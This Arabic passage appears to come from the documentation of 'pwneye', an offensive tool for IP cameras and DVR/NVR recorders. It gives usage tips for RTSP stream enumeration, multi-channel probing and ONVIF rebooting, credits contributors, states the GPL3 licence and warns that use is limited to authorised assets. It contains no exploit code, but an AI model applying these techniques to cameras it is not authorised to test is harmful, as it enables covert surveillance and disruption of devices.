  • البائعون المعروفون يقللون الضوضاء: إذا كنت تعرف البائع بالفعل، فمرر --vendor صراحةً. يقلل ذلك من الطلبات ويمكن أن يساعد في إبقاء الأهداف الهشة مستقرة.
  • المسارات المعروفة أفضل من التخمين العشوائي: إذا كنت تعرف المسار أو تشك فيه بالفعل، فاستخدم --connection-string بدلاً من تعداد RTSP الواسع. يمنحك ذلك تحكمًا أدق في مجموعة الطلبات ويجعل تفسير حالات الفشل أسهل.
  • قد يكشف المسجل عن أكثر من بث واحد: إذا بدا الهدف وكأنه DVR/NVR، فجرّب --multi-channel أو قالب قنوات يدوي قبل افتراض أنه يكشف عن بث واحد فقط.
  • إعادة التشغيل يمكن أن تكون خطوة استرداد: إذا كانت لديك بيانات اعتماد RTSP صالحة ولكنك ما زلت غير قادر على فتح الفيديو، فقد يكون البث ببساطة غير مستقر بعد الفحص المتكرر. إذا كان لديك أيضًا وصول إلى ONVIF، فإن --reboot خطوة استرداد مباشرة لكنها غالبًا فعّالة.

شكر وتقدير

شكر خاص لـ @kaburagisec على onvif-python، مكتبة ONVIF المستخدمة بواسطة pwneye. لقد جعلت جانب ONVIF من هذا المشروع أسهل وأكثر موثوقية بشكل كبير.

شكرًا لـ Darix Deros للمساعدة أثناء الاختبار ومشاركة عدة اقتراحات مفيدة حسّنت أجزاءً من الأداة، بما في ذلك سير عمل اكتشاف ONVIF.

السلامة

استخدم pwneye فقط ضد الأصول التي تملكها أو التي لديك إذن صريح بتقييمها.

يمكن لهذه الأداة تعداد الخدمات، واختبار المصادقة، وفتح البث، وتسجيل الفيديو، والتفاعل مع ميزات ONVIF الإدارية، ومع الصلاحيات الكافية، إعادة تشغيل الجهاز الهدف أو إعادة تعيينه أو تشويهه أو تغيير سلوكه بأي طريقة أخرى.

حتى عندما يكون هدفك هو جمع الأدلة فقط، فإن الفحص المتكرر لـ RTSP يمكن أن يجعل الكاميرات الهشة غير مستقرة، ويمكن أن يكون لإجراءات ONVIF تأثير تشغيلي فوري.

الترخيص

يُوزَّع هذا المشروع بموجب رخصة GNU GPL3. انظر LICENSE.md.

تنزيل الأداة
  • البث الصالح ليس دائمًا بثًا ذا معنى: ستعيد بعض الأجهزة بكل سرور بثًا حتى للمسارات غير الصحيحة ومعرفات القنوات غير الصحيحة. تعامل مع نجاح القنوات الواسع كتلميح حتى تؤكد أن البث الناتج مختلف فعليًا.